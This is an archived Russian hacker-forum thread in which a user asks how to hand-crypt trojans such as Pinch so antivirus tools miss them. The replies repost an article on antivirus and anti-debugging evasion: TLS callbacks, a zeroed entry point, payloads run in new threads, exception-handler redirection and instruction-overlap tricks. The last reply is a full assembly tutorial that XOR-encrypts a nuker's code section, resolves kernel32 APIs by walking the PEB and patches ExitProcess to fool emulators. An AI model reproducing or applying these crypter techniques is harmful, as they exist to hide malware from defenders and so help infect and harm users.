Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Актуальный способ ручного крипта.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Актуальный способ ручного крипта.
Имя
Сообщение << Старые топики   Новые топики >>
Актуальный способ ручного крипта. - 2008-06-03 00:33:24.506666   
Chrek625

Сообщений: 188
Оценки: 0
Присоединился: 2008-01-09 23:49:05.073333
Люди кто знает какой на сегодняшний момент актуальный способ ручного крипта троянов тогоже пинча?
Поделитесь знаниями.
Post #: 1
RE: Актуальный способ ручного крипта. - 2008-06-03 00:53:24.856666   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
Как обмануть антивирус или антиотладка II
Эх, все труднее и труднее становится жить, ведь серьезно, как не грустно это признавать,
а ведь реально за 2007 год защитные системы скакнули очень даже хорошо вверх, наверное
виста так повлияла, мобилизировала всех так сказать :) Сравнение Outpost 4 с Outpost 2008
только чего стоит, но это еще что, но новый уровень перешли антивирусы со своими эмуляторами
и эвристиками, средства анализа очень прибавили, чего только одна IDA 5.2 стоит. Но не все
так страшно, как кажется на первй взгляд, ведь по любому главное - эт правильный подход
всегда, как посмотреть внимательнее, так нубов число уменьшилось, веселее жить стало, ну
ведь совершенно точно, что у нас с тобой подход правельный, раз читаешь эту статью? Да одна
фигня эта защита, еще не скоро она станет такой, чтобы обламывать наши планы, ведь по любому
приятно, когда софт работает отлично, стабильно обламывая даже не столько антивирус, а
антивирусных аналитиков, которые будут по любому покушаться на наш софт.
Тоже недавно решил выйди на сцену так сказать, наклацкал себе кое какой софт, и на тебе,
как начал палиться, пришлось хорошенько покопаться в коде, чтобы все было гуд, вот и думаю,
что, совершенно точно эта информация пригодится любому человеку в теме, да честно говоря даже
просто тому, кто хочет защитить свой код от анализа. Итак, начинаем наш новогодний обзор! :)

=1 Назад в прошлое
Есть в Windows один очень занимательный механизм под названием TLS, что в расшифровке и
переводе на русский означает "локальная память потока", создана сия поделка как довес очень
удобной библиотечной технологии, которая была принята начиная для 32 разрядников, создатели
механизма планировали связывать с его помощью определенные данные с определенным потоком
исполнения, что это дает? Это дает возможность создать в итоге почти не ограниченное число потоков
исполнения еще до выхода на реальную точку входа! То есть еще до начала исполнения нашего
проекта одна, две, три ветки программы могут уже быть исполнены, потрясающее зрелище, когда
запускаешь отладчик, а еще до запуска запускается антиотладочная ветка определяющая, что
используется отладчик во всеми последствиями :) Что это нам дает? Это дает отличный способ
запутать антивирус и внести в свой проект отличное средство антиотладки, которое легко сбережет
нас от начинающего аналитика, заставив его долго думать, в чем же тут дело. С технической
части все просто элементарно и умещается в буквально несколько строк, TLS на самом деле просто
небольшая структура, которая будет у нас заполнена нулями и одним калбэком, там просто заполняем
структуру

TLS_DIRECTORY STRUCT
lpTlsDataStart dd ? ;copy block starting here
lpTlsDataEnd dd ? ;and ending here + block (size=ZeroFillSize) filled with 0 to
lpTlsIndex dd ? ;DS:[FS:[2CH]]+TlsIndex*4
lpTlsCallbacks dd ? ;pointer to 0 terminated array of pointers to callbacks
ZeroFillSize dd ? ;overall size=lpTlsDataEnd-lpTlsDataStart+ZeroFillSize
TLS_DIRECTORY ENDS

Примерно такого вида

public _tls_used
_tls_used TLS_DIRECTORY <nullPr, nullPr, nullPr, callBack, 0>

Где callBack будет указателем на наши калбэки, например

callBack dd TlsProc ; запускаем первую ветку

или

callBack dd TlsProc ; запускаем первую ветку
dd TlsProc ; вторую, эту можно вобще убрать, она совершенно не обязательна
И уже можно отлично работать, все будет просто потрясающе смотреться :)

=2 ЁП :)
Второй способ более экстравагантный я бы сказал, там смысл у нас будет заключаться в том, что
когда файл мапится в оперативную память, мапится он с адреса базы(ImageBase), который обычно
равен 00400000, дальше EIP переходит на точку входа, которая в памяти у нас будет равна
ImageBase + EntryPoint в PE заголовке, то есть если EntryPoint у нас равен 00001000, EIP
будет на адресе 00401000, то есть это точка входа в программу у нас такая. А что же будет
если взять Lord Pe и быстренько поставить EntryPoint например в 0? наша точка входа будет в
00400000, а ждут нас там опкоды 4D5Ah (те самые MZ), которые в переводе на асм будут выглядеть
как

00400000 4D DEC EBP
00400001 5A POP EDX

Что вполне нормально, в чем мы можем легко совершенно убедиться набрав в OllyDbg Ctrl + G и
введем 00400000. Ну как? Есть мысли что делаем дальше? Конечно же мы ставим jmp на 00401000
(в реальную точку входа) по адресу 00400002, просто щелкаем на пробел и вводим jmp 00401000
и нажимаем Assemble, Cencel и получаем отличную картину

00400000 4D DEC EBP
00400001 5A POP EDX
00400002 - E9 F90F0000 JMP 00401000

Чего мы и собирались собтно сделать, мы просто прыгаем на реальную точку входа при этом
обламывая все эмуляторы и отладчики(да, OllyDbg в том числе), которые полагают, что точка
входа EntryPoint не может быть 0(можно кстати даже не 0 поставить, а скажем 00000002). Наша
фитча готова и теперь смело щелкаем правой кнопкой по окну с кодом "Copy to executable ->
All Modifications -> Copy All " в появившемся окне не раздумывая, клацаем правой кнопкой на
"Seve file" и благополучно сохраняем наш измененный проект, ну а дальше как по маслу все,
элементарно открываем сохраненный .exe в Lord Pe и моментально ставим EntryPoint 0 и при
попытке открытия нашего проекта в Olly удивленно смотрим, файл не отлаживается! А как
антивирусные анализаторы то рады, все молчат, все гуд грят, но злобный антивирус маккафи
сразу подумал, что мы злобные хакиры пишет "New", типа маст хэв :) Все просто, ну а вы думали? ;)

=3 Легко и просто
Хоть и вышли на новый уровень антивирусные анализаторы, а все равно они еще очень глупые, чем
мы цинично воспользуемся :) Все легко как 2 байта, просто пишем исполнение основного кода,
рабочей нагрузки в новой ветке программы, которую элементарно создаем примерно так

mov eax, offset PayLoad
invoke CreateThread, NULL, NULL, eax, NULL, NULL, addr ThreadID

Антивирус просто не сможет проанализировать созданную ветку и легко одобрит наш отличный проект,
а так и правильно совершенно ;) Даже вот для наглядности пример приведу, антивирус Avira
встречая функции на подобие WinExec и UrlDownloadToFile начинает ругаться, ну а если
поставить то же самое, но уже с CreateThread, то все будет по высшему гуд ;)

=4 Обработчик исключений на страже порядка
Я плакаю, когда вижу, как антивирусы(или аналитики) не могут понять куда делся EIP, после самого
заезженного и элементарного антиотладочного приема с подменой обработчика исключений, ну че
тут поделаешь, не доросли пока, чем мы коварно воспользуемся :) Код будет просто элементарный

push offset Payload ; продолжение нашего кода
assume fs: nothing
push fs:[0]
mov fs:[0],esp
xor ebx, ebx
mov dword ptr[ebx], 123 ; допускаем ошибку

В итоге мы в отладчике попадаем глубоко в кору, а проект между тем продолжает отлично выполняться
как ни в чем не бывало :) Есть правда менее заезженный способ, но WinApi там, как-то не красиво получается

invoke RtlAddVectoredExceptionHandler, 1, addr PayLoad

В итоге у нас отличная антиотладка и защита от некоторых эмуляторов, что несомненно есть гуд :)
Правда некоторые будучи не в состоянии чета сделать с ситуацией просто тупо называют нас всякими
суспекусами, мол куда улетел код-то? :)

=5 Трэш - эт по нашему :)
Как и совершенно не странно механизмы дизассемблеров не идеальны и их часто можно элементарно
запутать, да и вследствие того, кто работает за этим отладчиком, что думаете мы увидим в
отладчике или дизасемблере, скомпилировав код

;тут нормальный код
jmp offset start + 67137
mov eax, 123
add ebx, 888
Codes:
; полезный код
xor ebx, ebx
DB 0EAh

Правильно! Мы увидим мясо :) А в чем же фишка спросите вы? А в том, что очень многие дизассемблеры(
эмуляторы тоже их содержат) имеют один общий глюк, можно сбить дизассемблер с толку, если
выставить переход jmp, после него вполне работающий код, а после него опкод джампа, в нашем
случае DB 0EAh, в итоге просто он выстроит не правельную последовательность команд и усе, будет
реальное мясо! :)

=6 Нулл дэй
Вот мы и добрались до небольшого продолжения 5го пункта, и по совместительству свеженького
средства антиотладки, на самом деле частицы этой технологии известны еще со времен ДОС, но
были благополучно забыты(спасибо Крису большое за то, что напомнил), суть идеи в том, что в
одну большую, пятибайтовую команду, например mov eax, 0DDAADDAAh можно впихнуть еще парочку
команд и запутать тем самым отладчик, который выполнит mov eax, 0DDAADDAAh, вместо того, что
там у нас спрятано, а вдруг там спрятаны пара бат защитного механизма, по которым можно
определить трэйсят нас или нет? так конечно! Есть у нас скажем

00401001 BA 69668ED1 MOV EDX,D18E6669

Ну нормальная команда, как полагается все, а что будет если посмотреть эту команду с другого
угла так сказать :) Например зайти на середину команды по адресу 00401004, мы увидем уже
другую совсем картину ;)

00401004 8ED1 MOV SS,CX

И вот так спрятав части команд в таких же командах более длинных командах, можем легко
наклацать отличный антитрэйсинг, ой, я разве сказал, можем… Так мы уже все сделали, все
сорцы можешь найти в архиве к статье, ну и конечно же тестовый .exe, попробуй-ка потрейсить
сайсом или оллей, везде буит работать просто отлично ;)

Все таки не все так плохо, как может показаться, а вполне даже хорошо, главное подход правильный,
ведь на самом деле решение всех проблем часто элементарное и находится прямо перед глазами :)
А в новом году пожелаю только огромных творческих успехов, и чтобы взгляд был всегда шире,
чем могут увидеть другие, с новым годом!

Автор: Dr.Cert

Материалы к статье: indetails.info/index.php?module=files&id=612
Источник: Indetails.Info
Post #: 2
RE: Актуальный способ ручного крипта. - 2008-06-03 09:09:39.400000   
Xakеp

Сообщений: 22
Оценки: 0
Присоединился: 2008-06-03 08:37:29.636666
Береш любой пакер/криптар/etc. и ручками ево крептуешь!
Post #: 3
RE: Актуальный способ ручного крипта. - 2008-06-03 15:14:21.316666   
Chrek625

Сообщений: 188
Оценки: 0
Присоединился: 2008-01-09 23:49:05.073333

quote:

ORIGINAL: Xakеp

Береш любой пакер/криптар/etc. и ручками ево крептуешь!

Да нуууу…. А я то думалл…
Вообще если бы я это умел или хотябы имел понятие как это делать то я бы не спрашивал…
Post #: 4
RE: Актуальный способ ручного крипта. - 2008-06-03 15:23:08.973333   
Xakеp

Сообщений: 22
Оценки: 0
Присоединился: 2008-06-03 08:37:29.636666
Отстань от меня!!!!! Хватит!
Post #: 5
RE: Актуальный способ ручного крипта. - 2008-06-03 16:46:20.463333   
Chrek625

Сообщений: 188
Оценки: 0
Присоединился: 2008-01-09 23:49:05.073333

quote:

ORIGINAL: Xakеp

Отстань от меня!!!!! Хватит!

Кому ты нафиг нужин Не можешь сказать ничего по теме то не флуди…
Post #: 6
RE: Актуальный способ ручного крипта. - 2008-06-03 20:29:39.080000   
$taLker

Сообщений: 49
Оценки: 0
Присоединился: 2008-02-07 17:30:13.003333
УХАХА… к тебе тут кто-то пристает? :D
Post #: 7
RE: Актуальный способ ручного крипта. - 2008-06-03 22:13:29.996666   
Flint_ta

Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
Вот решил накидать минитутор

некоторые файлы к статье тут http://dump.ru/file_catalog/396099.aspx , остальное на просторах инета
_____________________________________

Небольшой тутор по ручному крипту исключительно для начинающих. Что нам понадобится: 1. OllyDBG 2. ToPo v1.2 by MrCrimson[WkT!2000] 3. PEID 4. PeTools Target: для примера возьмем старенький и безобидный нюкер Nukeit!, который палится практически всеми аверами. Постараюсь как можно короче и доступнее объяснить. Для того чтобы приступить нужно убедиться что наш файл ничем не упакован, для этого загружаем его a PEID и видим что файл написан на MASM32 / TASM32, если упакован то тут немного посложнее. Далее запустим PEEditor из пакета PETools, и откроем наш файл. Перейдем к опциональному заголовку, жмем Optional Header. Смотрим и запоминаем Image Base = 00400000, а также Entry Point = 00001000. Тут все, файл закрываем. Далее для нашего криптора нужно выделить место в файле. Для этого запускаем ToPo и скармливаем ему наш файл, выделяем Create a new section (file size increased), значит в целевом файле будет добавлена новая секция, в которую мы будем писать код криптора. В поле Bytes to be added: указываем каким размером будет наша секция, я указал 1000, также поставим в поле Redirect Entrypoint галку, для того чтобы изменить точку входа в программу, жмем Do it. Готово, теперь у нас есть секция. Далее загружеам наш файл в Olly. По умолчанию Olly останавливается на точке входа в программу, которая сейчас в нашей секции. Видим цепочку nop команд. Тут каждый решает сам, какой код он будет писать, в нашем коде ограничимся только криптованием секции кода, данные и импорт оставим в покое, хотя по хорошему их тож нужно закриптовать, особенно данные в качестве примера будет использован банальный xor. Переходим к более сложной части :) Для начала я решил найти в памяти процесса адрес загрузки kernell32.dll, это может сделать такой код: 00408000&nbsp;&nbsp;&nbsp; PUSHAD 00408001&nbsp;&nbsp;&nbsp; XOR EAX,EAX 00408003&nbsp;&nbsp;&nbsp; XOR EDX,EDX 00408005&nbsp;&nbsp;&nbsp; MOV DL,30 00408007&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR FS:[EDX] 0040800A&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[EAX+C] 0040800D&nbsp;&nbsp;&nbsp; MOV ESI,DWORD PTR DS:[EAX+1C] 00408010&nbsp;&nbsp;&nbsp; LODS DWORD PTR DS:[ESI] 00408011&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[EAX+8] 00408014&nbsp;&nbsp;&nbsp; PUSH EAX 00408015&nbsp;&nbsp;&nbsp; CMP WORD PTR DS:[EAX],5A4D 0040801A&nbsp;&nbsp;&nbsp; JNZ SHORT 00408001 далее решил найти адреса некотрых api функций: 1) LoadLibraryA 0040801C&nbsp;&nbsp;&nbsp; MOV EBX,EAX 0040801E&nbsp;&nbsp;&nbsp; ADD EBX,DWORD PTR DS:[EAX+3C] 00408021&nbsp;&nbsp;&nbsp; ADD EBX,78 00408024&nbsp;&nbsp;&nbsp; MOV EBX,DWORD PTR DS:[EBX] 00408026&nbsp;&nbsp;&nbsp; ADD EBX,EAX 00408028&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[EBX+20] 0040802B&nbsp;&nbsp;&nbsp; ADD EDX,EAX 0040802D&nbsp;&nbsp;&nbsp; PUSH EBX 0040802E&nbsp;&nbsp;&nbsp; XOR EBX,EBX 00408030&nbsp;&nbsp;&nbsp; PUSH 0 00408032&nbsp;&nbsp;&nbsp; PUSH 41797261 00408037&nbsp;&nbsp;&nbsp; PUSH 7262694C 0040803C&nbsp;&nbsp;&nbsp; PUSH 64616F4C 00408041&nbsp;&nbsp;&nbsp; PUSH 0 00408043&nbsp;&nbsp;&nbsp; ADD ESP,4 00408046&nbsp;&nbsp;&nbsp; MOV ESI,ESP 00408048&nbsp;&nbsp;&nbsp; MOV ECX,0C 0040804D&nbsp;&nbsp;&nbsp; PUSH ESI 0040804E&nbsp;&nbsp;&nbsp; PUSH ECX 0040804F&nbsp;&nbsp;&nbsp; MOV EDI,DWORD PTR DS:[EDX] 00408051&nbsp;&nbsp;&nbsp; ADD EDI,EAX 00408053&nbsp;&nbsp;&nbsp; REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 00408055&nbsp;&nbsp;&nbsp; JE SHORT 0040805F 00408057&nbsp;&nbsp;&nbsp; POP ECX 00408058&nbsp;&nbsp;&nbsp; POP ESI 00408059&nbsp;&nbsp;&nbsp; ADD EDX,4 0040805C&nbsp;&nbsp;&nbsp; INC EBX 0040805D&nbsp;&nbsp;&nbsp; JMP SHORT 0040804D 0040805F&nbsp;&nbsp;&nbsp; SUB EDI,0C 00408062&nbsp;&nbsp;&nbsp; POP ECX 00408063&nbsp;&nbsp;&nbsp; POP ECX 00408064&nbsp;&nbsp;&nbsp; POP ECX 00408065&nbsp;&nbsp;&nbsp; POP ECX 00408066&nbsp;&nbsp;&nbsp; POP ECX 00408067&nbsp;&nbsp;&nbsp; POP ECX 00408068&nbsp;&nbsp;&nbsp; POP ECX 00408069&nbsp;&nbsp;&nbsp; SHL EBX,1 0040806B&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[ECX+24] 0040806E&nbsp;&nbsp;&nbsp; ADD EDX,EAX 00408070&nbsp;&nbsp;&nbsp; ADD EDX,EBX 00408072&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[EDX] 00408074&nbsp;&nbsp;&nbsp; AND EDX,0FFFF 0040807A&nbsp;&nbsp;&nbsp; MOV EBX,DWORD PTR DS:[ECX+1C] 0040807D&nbsp;&nbsp;&nbsp; ADD EBX,EAX 0040807F&nbsp;&nbsp;&nbsp; SHL EDX,2 00408082&nbsp;&nbsp;&nbsp; ADD EBX,EDX 00408084&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[EBX] 00408086&nbsp;&nbsp;&nbsp; ADD EDX,EAX Сохраняем ее в стеке 00408088&nbsp;&nbsp;&nbsp; PUSH EDX 2) GetProcAddress 00408089&nbsp;&nbsp;&nbsp; XOR EAX,EAX 0040808B&nbsp;&nbsp;&nbsp; XOR EDX,EDX 0040808D&nbsp;&nbsp;&nbsp; MOV DL,30 0040808F&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR FS:[EDX] 00408092&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[EAX+C] 00408095&nbsp;&nbsp;&nbsp; MOV ESI,DWORD PTR DS:[EAX+1C] 00408098&nbsp;&nbsp;&nbsp; LODS DWORD PTR DS:[ESI] 00408099&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[EAX+8] 0040809C&nbsp;&nbsp;&nbsp; PUSH EAX 0040809D&nbsp;&nbsp;&nbsp; CMP WORD PTR DS:[EAX],5A4D 004080A2&nbsp;&nbsp;&nbsp; JNZ SHORT 00408089 004080A4&nbsp;&nbsp;&nbsp; MOV EBX,EAX 004080A6&nbsp;&nbsp;&nbsp; ADD EBX,DWORD PTR DS:[EAX+3C] 004080A9&nbsp;&nbsp;&nbsp; ADD EBX,78 004080AC&nbsp;&nbsp;&nbsp; MOV EBX,DWORD PTR DS:[EBX] 004080AE&nbsp;&nbsp;&nbsp; ADD EBX,EAX 004080B0&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[EBX+20] 004080B3&nbsp;&nbsp;&nbsp; ADD EDX,EAX 004080B5&nbsp;&nbsp;&nbsp; PUSH EBX 004080B6&nbsp;&nbsp;&nbsp; XOR EBX,EBX 004080B8&nbsp;&nbsp;&nbsp; PUSH 0 004080BA&nbsp;&nbsp;&nbsp; PUSH 7373 004080BF&nbsp;&nbsp;&nbsp; PUSH 65726464 004080C4&nbsp;&nbsp;&nbsp; PUSH 41636F72 004080C9&nbsp;&nbsp;&nbsp; PUSH 50746547 004080CE&nbsp;&nbsp;&nbsp; PUSH 0 004080D0&nbsp;&nbsp;&nbsp; ADD ESP,4 004080D3&nbsp;&nbsp;&nbsp; MOV ESI,ESP 004080D5&nbsp;&nbsp;&nbsp; MOV ECX,0E 004080DA&nbsp;&nbsp;&nbsp; PUSH ESI 004080DB&nbsp;&nbsp;&nbsp; PUSH ECX 004080DC&nbsp;&nbsp;&nbsp; MOV EDI,DWORD PTR DS:[EDX] 004080DE&nbsp;&nbsp;&nbsp; ADD EDI,EAX 004080E0&nbsp;&nbsp;&nbsp; REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 004080E2&nbsp;&nbsp;&nbsp; JE SHORT 004080EC 004080E4&nbsp;&nbsp;&nbsp; POP ECX 004080E5&nbsp;&nbsp;&nbsp; POP ESI 004080E6&nbsp;&nbsp;&nbsp; ADD EDX,4 004080E9&nbsp;&nbsp;&nbsp; INC EBX 004080EA&nbsp;&nbsp;&nbsp; JMP SHORT 004080DA 004080EC&nbsp;&nbsp;&nbsp; SUB EDI,0C 004080EF&nbsp;&nbsp;&nbsp; POP ECX 004080F0&nbsp;&nbsp;&nbsp; POP ECX 004080F1&nbsp;&nbsp;&nbsp; POP ECX 004080F2&nbsp;&nbsp;&nbsp; POP ECX 004080F3&nbsp;&nbsp;&nbsp; POP ECX 004080F4&nbsp;&nbsp;&nbsp; POP ECX 004080F5&nbsp;&nbsp;&nbsp; POP ECX 004080F6&nbsp;&nbsp;&nbsp; POP ECX 004080F7&nbsp;&nbsp;&nbsp; SHL EBX,1 004080F9&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[ECX+24] 004080FC&nbsp;&nbsp;&nbsp; ADD EDX,EAX 004080FE&nbsp;&nbsp;&nbsp; ADD EDX,EBX 00408100&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[EDX] 00408102&nbsp;&nbsp;&nbsp; AND EDX,0FFFF 00408108&nbsp;&nbsp;&nbsp; MOV EBX,DWORD PTR DS:[ECX+1C] 0040810B&nbsp;&nbsp;&nbsp; ADD EBX,EAX 0040810D&nbsp;&nbsp;&nbsp; SHL EDX,2 00408110&nbsp;&nbsp;&nbsp; ADD EBX,EDX 00408112&nbsp;&nbsp;&nbsp; MOV EDX,DWORD PTR DS:[EBX] 00408114&nbsp;&nbsp;&nbsp; ADD EDX,EAX Сохраняем ее в стеке 00408116&nbsp;&nbsp;&nbsp; PUSH EDX Теперь я решил для своих пременных выделить немного памяти, для этого можно воспользоваться api функцией GlobalAlloc, но для начала нужно получить ее адресс, тут я решил использовать полученную ваше функцию GetProcAddress 00408117&nbsp;&nbsp;&nbsp; POP EDI 00408118&nbsp;&nbsp;&nbsp; PUSH 0 0040811A&nbsp;&nbsp;&nbsp; PUSH 636F6C 0040811F&nbsp;&nbsp;&nbsp; PUSH 6C416C61 00408124&nbsp;&nbsp;&nbsp; PUSH 626F6C47 00408129&nbsp;&nbsp;&nbsp; PUSH 0 0040812B&nbsp;&nbsp;&nbsp; ADD ESP,4 0040812E&nbsp;&nbsp;&nbsp; PUSH ESP 0040812F&nbsp;&nbsp;&nbsp; PUSH EAX 00408130&nbsp;&nbsp;&nbsp; CALL EDX Далее выделяем память 00408132&nbsp;&nbsp;&nbsp; POP ECX 00408133&nbsp;&nbsp;&nbsp; POP ECX 00408134&nbsp;&nbsp;&nbsp; POP ECX 00408135&nbsp;&nbsp;&nbsp; POP ECX 00408136&nbsp;&nbsp;&nbsp; PUSH EAX 00408137&nbsp;&nbsp;&nbsp; PUSH 200 0040813C&nbsp;&nbsp;&nbsp; PUSH 0 0040813E&nbsp;&nbsp;&nbsp; CALL EAX После этого у нас в регистре EAX адрес выделенной памяти, там сейчас могут быть какие угодно данные, поэтому неплохо бы ее очистить 00408140&nbsp;&nbsp;&nbsp; XOR ESI,ESI 00408142&nbsp;&nbsp;&nbsp; MOV BYTE PTR DS:[ESI+EAX],0 00408146&nbsp;&nbsp;&nbsp; INC ESI 00408147&nbsp;&nbsp;&nbsp; CMP ESI,200 0040814D&nbsp;&nbsp;&nbsp; JNZ SHORT 004080DF Теперь сохраним туда, найденные ранее адреса загрузки kernell32.dll и api функций 0040814F&nbsp;&nbsp;&nbsp; MOV ESI,EAX 00408151&nbsp;&nbsp;&nbsp; MOV ECX,DWORD PTR DS:[ESP+C] 00408156&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[EAX],ECX 00408158&nbsp;&nbsp;&nbsp; MOV ECX,DWORD PTR DS:[ESP+8] 0040815D&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[EAX+4],ECX 00408160&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[EAX+8],EDI 00408163&nbsp;&nbsp;&nbsp; MOV ECX,DWORD PTR DS:[ESP] 00408167&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[EAX+C],ECX Дальше я решил узнать по какому адресу находится ImageBase нашей программы, тут пригодится функция GetModuleHandleA, получим сначала ее адрес 0040816A&nbsp;&nbsp;&nbsp; POP EAX 0040816B&nbsp;&nbsp;&nbsp; PUSH 0 0040816D&nbsp;&nbsp;&nbsp; PUSH 41656C64 00408172&nbsp;&nbsp;&nbsp; PUSH 6E614865 00408177&nbsp;&nbsp;&nbsp; PUSH 6C75646F 0040817C&nbsp;&nbsp;&nbsp; PUSH 4D746547 00408181&nbsp;&nbsp;&nbsp; PUSH 0 00408183&nbsp;&nbsp;&nbsp; ADD ESP,4 00408186&nbsp;&nbsp;&nbsp; PUSH ESP 00408187&nbsp;&nbsp;&nbsp; PUSH DWORD PTR DS:[ESI] 00408189&nbsp;&nbsp;&nbsp; CALL DWORD PTR DS:[ESI+8] И сохраним его &nbsp; 0040818C&nbsp;&nbsp;&nbsp; ADD ESP,14 0040818F&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[ESI+10],EAX Теперь получаем ImageBase и сохраняем его 00408192&nbsp;&nbsp;&nbsp; PUSH 0 00408194&nbsp;&nbsp;&nbsp; CALL EAX 00408196&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[ESI+14],EAX Теперь чтобы было возможным писать в секцию кода нужно разрешиить права на запись, для этого нам нужна функция VirtualProtect, получим и сохраним ее адрес 00408199&nbsp;&nbsp;&nbsp; PUSH 0 0040819B&nbsp;&nbsp;&nbsp; PUSH 7463 004081A0&nbsp;&nbsp;&nbsp; PUSH 65746F72 004081A5&nbsp;&nbsp;&nbsp; PUSH 506C6175 004081AA&nbsp;&nbsp;&nbsp; PUSH 74726956 004081AF&nbsp;&nbsp;&nbsp; PUSH 0 004081B1&nbsp;&nbsp;&nbsp; ADD ESP,4 004081B4&nbsp;&nbsp;&nbsp; PUSH ESP 004081B5&nbsp;&nbsp;&nbsp; PUSH DWORD PTR DS:[ESI] 004081B7&nbsp;&nbsp;&nbsp; CALL DWORD PTR DS:[ESI+8] 004081BA&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[ESI+18],EAX Теперь нужно получить SizeOfImage, который мы получим прямо из PE заголовка 004081BD&nbsp;&nbsp;&nbsp; ADD ESP,14 004081C0&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[ESI+14] 004081C3&nbsp;&nbsp;&nbsp; ADD EAX,3C 004081C6&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[EAX] 004081C8&nbsp;&nbsp;&nbsp; ADD EAX,DWORD PTR DS:[ESI+14] 004081CB&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[EAX+50] Далее разрешаем права на запись 004081CE&nbsp;&nbsp;&nbsp; PUSH ESI 004081CF&nbsp;&nbsp;&nbsp; ADD DWORD PTR DS:[ESP],20 004081D4&nbsp;&nbsp;&nbsp; PUSH 4 004081D6&nbsp;&nbsp;&nbsp; PUSH EAX 004081D7&nbsp;&nbsp;&nbsp; PUSH DWORD PTR DS:[ESI+14] 004081DA&nbsp;&nbsp;&nbsp; CALL DWORD PTR DS:[ESI+18] Теперь все готово собственно к xor'у Теперь нам необходимо выяснить адрес и размер секции кода. Можно сделать это прямо в Olly, но мы сделаем в PEeditore открываем наш файл в PEeditore, жамкаем на кнопку Sections, видим перед собой все секции файла, запоминаем у первой секции Virtual Offset = 1000 и Virtaul Size = 247C. Закрываем. Теперь выясняем по какому адресу находится код в памяти, ImageBase был равен 00400000 + Virtual Offset = 1000, получаем 00401000 - начало секции кода. Примечание: Лучше было бы это узнать эти адреса написав небольшой код, это позволило бы быть всему нашему коду базовонезависимым. Ксорим код 004081DD&nbsp;&nbsp;&nbsp; MOV EDX,401000 004081E2&nbsp;&nbsp;&nbsp; MOV ECX,247C 004081E7&nbsp;&nbsp;&nbsp; MOV AL,BYTE PTR DS:[ECX+EDX] 004081EA&nbsp;&nbsp;&nbsp; XOR AL,66 004081EC&nbsp;&nbsp;&nbsp; MOV BYTE PTR DS:[ECX+EDX],AL 004081EF&nbsp;&nbsp;&nbsp; LOOPD SHORT 004081E7 Далее сохраним все изменения, выделяем весь код который написали, жмем правой кнопкой Copy to Executable &gt; Selection, далее опять правой кнопкой, Save File и сохраняем под другим именем, например 2.exe Теперь в Olly открываем 2.exe, спускаемся до того места где остановились в прошлый раз 004081F1 Ставим бряк (жмем F2), в левом нижнем углу видим окно памяти, жмем там Ctrl + G и вводим адрес начала секции кода = 00401000, нажимаем F9, запускаем программу на выполение видим что все поксорилось и программа остановилась на нашем бряке. Теперь в окне данных (левое нижнее) выделяем весь поксоренный код, жмем правой кнопкой Copy to Executable &gt; Selection, далее опять правой кнопкой, Save File и сохраняем под другим именем, например 3.exe Теперь в Olly открываем 3.exe, спускаемся до того места где остановились в прошлый раз 004081F1 Допишем небольшой антиаверский код, многие на нем обламываются Получим адрес функции ExitProcess 004081F1&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[ESI+30],73736563 004081F8&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[ESI+2C],6F725074 004081FF&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[ESI+28],69784500 00408206&nbsp;&nbsp;&nbsp; POP EBP 00408207&nbsp;&nbsp;&nbsp; PUSH EDI 00408208&nbsp;&nbsp;&nbsp; MOV EDX,ESI 0040820A&nbsp;&nbsp;&nbsp; ADD EDX,29 0040820D&nbsp;&nbsp;&nbsp; PUSH EDX 0040820E&nbsp;&nbsp;&nbsp; PUSH EBP 0040820F&nbsp;&nbsp;&nbsp; CALL DWORD PTR DS:[ESI+8] сохраним его 00408212&nbsp;&nbsp;&nbsp; MOV DWORD PTR DS:[ESI+40],EAX Разрешим запись в память kernel32.dll 00408215&nbsp;&nbsp;&nbsp; MOV EDX,ESI 00408217&nbsp;&nbsp;&nbsp; ADD EDX,35 0040821A&nbsp;&nbsp;&nbsp; PUSH EDX 0040821B&nbsp;&nbsp;&nbsp; PUSH 4 0040821D&nbsp;&nbsp;&nbsp; PUSH 20 0040821F&nbsp;&nbsp;&nbsp; PUSH EAX 00408220&nbsp;&nbsp;&nbsp; CALL DWORD PTR DS:[ESI+18] Запишем в функцию ExitProcess изменения, теперь при ее вызове управление сразу передается назад 00408223&nbsp;&nbsp;&nbsp; MOV EAX,DWORD PTR DS:[ESI+40] 00408226&nbsp;&nbsp;&nbsp; MOV BYTE PTR DS:[EAX],0C3 и тут же вызовем 00408229&nbsp;&nbsp;&nbsp; CALL EAX вернем в первоначальный вид 0040822B&nbsp;&nbsp;&nbsp; MOV BYTE PTR DS:[EAX],8B Пора закруглятся, восстановим стэк 0040822E&nbsp;&nbsp;&nbsp; POPAD 